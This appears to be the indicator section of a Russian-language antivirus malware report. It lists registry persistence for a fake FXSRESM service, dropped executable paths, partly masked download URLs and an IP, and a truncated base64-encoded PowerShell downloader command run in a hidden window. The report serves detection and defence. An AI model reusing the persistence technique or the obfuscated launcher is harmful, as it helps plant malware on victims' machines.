Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\FXSRESM] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\FXSRESM] 'ImagePath' = '"%WINDIR%\SysWOW64\wshqos\FXSRESM.exe"'
- 'FXSRESM' "%WINDIR%\SysWOW64\wshqos\FXSRESM.exe"
- 'FXSRESM' %WINDIR%\SysWOW64\wshqos\FXSRESM.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbw...
- %HOMEPATH%\x_x5vzr\f8byeao\yyxno3.exe
- %WINDIR%\syswow64\wshqos\fxsresm.exe
- %HOMEPATH%\x_x5vzr\f8byeao\yyxno3.exe в %WINDIR%\syswow64\wshqos\fxsresm.exe
- '12.##3.208.58':80
- http://ba##ome.com/wp-content/td/
- http://12.##3.208.58/YdopNK0a9nDKKK/hivNNJ/9g5Dzu/
- DNS ASK ba##ome.com
- '%HOMEPATH%\x_x5vzr\f8byeao\yyxno3.exe'
- '%WINDIR%\syswow64\wshqos\fxsresm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbw...' (со скрытым окном)